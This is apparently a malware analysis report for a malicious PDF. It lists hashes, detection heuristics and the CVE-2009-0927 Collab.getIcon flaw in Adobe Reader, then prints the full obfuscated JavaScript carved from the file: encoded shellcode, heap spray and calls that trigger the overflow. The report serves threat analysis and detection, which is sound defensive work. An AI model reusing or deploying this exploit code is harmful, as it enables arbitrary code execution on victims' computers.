Malicious PDF — malware analysis report

Static analysis result for SHA-256 726773da085d6d49…

MALICIOUS

PDF

131.5 KB Created: 2009-06-26 16:25:57 +08:00 Authoring application: Acrobat PDFMaker 7.0 for Word (via Acrobat Distiller 7.0 (Windows))
MD5: 0103d7bc6c92eb23240073dbbf6e7a66 SHA-1: 08cc2ebf819911118a272d482d33c07b97ea66f0 SHA-256: 726773da085d6d49827d9249dbb02c2de950271e39057afba42d79ba135e9bb4
110 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits the CVE-2009-0927 vulnerability, specifically targeting the Collab.getIcon method. The JavaScript code is heavily obfuscated but appears to be designed to download and execute a secondary payload. The ML classifier strongly indicates maliciousness, supporting the exploitation of a known vulnerability for code execution.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (matched in decompressed stream)
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://ns.adobe.com/pdfx/1.3/In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/photoshop/1.0/In PDF document text

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0048_000.js
fef7b4a07ff47e578de355829e06d033f71b02193cd2c977558a9950dd57ab96		 pdf-javascript-stream PDF /JS object 48 at offset 0x50B 3643 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var unes=unescape
function myunes(buf) {
          var ret='';
          for (var x=0;x < buf["\x6c\x65\x6e\x67\x74\x68"]; x+=2) {
                  ret += util["\x62\x79\x74e\x54\x6f\x43\x68\x61\x72"](Number('0x'+buf["\x73\x75\x62\x73\x74\x72"](x,2)));//
          }
          return ret;
}
function rep(count,what){
          var v = "";
          while (--count >= 0) v += what;
          return v;
}
var sc
for(i=0;i<18000;i++)
sc=sc+0x60
sc=unes("%u4341%u4b49%u11EB%u5BFC%u334B%u66C9%ub0B9%u8001%u0B34%uE2f9"+
"\x25\x75EBFA\x25\x75E805\x25\x75FFEB\x25\x75FFFF\x25\x75F911\x25\x75F9F9\x25\x75A3F9\x25\x7572AC\x25\x757815\x25\x759D15\x25\x75F9FD\x25\x7572F9"+
"%u110D%uF869%uF9F9%u0172%u1611%uF9F9%u70F9%u06FF"+
"%u91CF%u6254%u2684%uED11%uF9F8%u70F9%uF5BF%uCF06"+
"%uD091%u3FEB%u11AF%uF8FC%uF9F9%uBF70%u06E9%u91CF"+
"%uC5A0%u82FE%u0F11%uF9F9%u70F9%uEDBF%uCF06%u8791"+
"%u1B21%u118A%uF91E%uF9F9%uBF70%uCACD%u1230%u72FA"+
"%uC5B7%u387A%uA8FD%uF993%u06A8%uF5AF%u7AA0%u0601"+
"%u098D%uB9C4%uF9E6%u8FF9%u7010%uC5B7%uF993%uF993"+
"%uF993%uFB93%uF993%u8F06%u06C5%uE9AF%uBF70%u7ABD"+
"%uF901%u328D%uF993%uF993%uF993%uFD93%u8F06%u06BD"+
"%uEDAF%uBF70%u7AB1%uF901%u4C8D%uC178%uA9DC%uBFBD"+
"%uB772%u8CC5%u7854%uF941%uF9EB%uA9F9%uA99D%u8CBD"+
"%u7858%uFD41%uF9EB%u16F9%u1307%u8C57%u406C%uFFF9"+
"%uF9F9%u1578%uF1F9%uF9F9%uAEAF%u0972%u3F78%uEBE9"+
"%uF9F9%u3D72%u397A%u72F1%u0A01%u405D%uFFF9%uF9F9"+
"%uB0B0%uB0B0%uCD78%u17F1%u0707%u7C16%u8C30%uA608"+
"%u06A7%uC58F%u8F06%u06B1%uBD8F%u1906%uAFAC%u589D"+
"%uF9C9%uF9F9%u397C%uEA81%u72C7%uF5B9%u72C7%uE589"+
"%u72C7%uF1A7%uC754%u9172%u12F1%uC7F4%uB972%uC7CD"+
"%u5172%uF941%uF9F9%u22CA%u3C72%uA4A7%uFD3B%uAAF9"+
"%uAFAC%uCFAE%u9572%uE1DD%u72CF%uC5BC%u72CF%uFCAD"+
"%uFA81%uC72C%uB372%uC7E1%uA372%uFAD9%u1A24%uB0C5"+
"%u72C7%u72CD%u0CFA%u06CA%uCA05%u5539%u3DC3%uFE8D"+
"%u3638%uFAF4%u1201%uCF0B%u85C2%uEDDD%u268C%u3B72"+
"%u397A%uC7DD%uE172%u24FA%uC79F%uF572%uC7B2%uA372"+
"%uFAE5%uC724%uFD72%uFA72%u123C%uCAFB%u7239%uA62C"+
"%uA4A7%u3BA2%uF9F1%uF911%uF9F9%uA1F9%u397A%u3AFC");

function exp() {

var sc1="";
blah = rep(128, unes("%u4242%u4242%u4242%u4242%u4242")) +sc1+ sc;
bbk = unes("%u4242%u4242");
wap = 20+blah["\x6c\x65\x6e\x67\x74\x68"]
while (bbk["\x6c\x65\x6e\x67\x74\x68"]<wap) bbk+=bbk;
fillbk = bbk["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0, wap);
bk = bbk["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0, bbk["\x6c\x65\x6e\x67\x74\x68"]-wap);
while(bk["\x6c\x65\x6e\x67\x74\x68"]+wap<0x40000) bk = bk+bk+fillbk;
mm = new Array();
for (i=0;i<200;i++) mm[i] = bk + blah;
of = rep(4096, myunes("0a0a0a0a"));
var a=["\x5f\x4e\x2e\x62\x75\x6e\x64\x6c\x65"];//next time
Collab["\x67\x65t\x49\x63\x6f\x6e"](of+a[0x0]);
}
function my() 
{
if (app.viewerVersion >= 7.0)
{
plin =rep(1124,unes("%u0b0b%u0028%u06eb%u06eb")) + unes("%u0b0b%u0028%u0aeb%u0aeb") + unes("%u4346%u4a4b") + rep
(122,unes("%u0b0b%u0028%u06eb%u06eb")) + sc  + rep(1256,unes("%u4a4b%u4748"));
} 
else 
{
Ef6 =  unes("%uf6eb%uf6eb") + unes("%u0b0b%u0019");
plin = rep(80,unes("\x25\x754141\x25\x754141")) + sc  + rep(80,unes("\x25\x754241\x25\x754142"))+ unes("\x25\x75f7e9\x25\x75fff9")+unes("\x25\x75ffff\x25\x75ffff");
while ((plin.length % 8) != 0) 
plin = unes("\x25\x754141") + plin;
plin += rep(2626,ef6);
}
if (app.viewerVersion >= 6.0)
{
 Collab["\x63\x6fll\x65\x63\x74\x45\x6d\x61\x69\x6c\x49\x6e\x66\x6f"]({subj:0,msg:plin});
}
} 
if(app.viewerVersion >= 8.0)
{
var inBrowser = this.external;
if (inBrowser)
          var shaft = app.setTimeOut("exp()",1200);
else
          exp();
}
else{
var shaft = app.setTimeOut("my()",1200);
}

Open this report in the interactive analyzer, or submit your own file for analysis.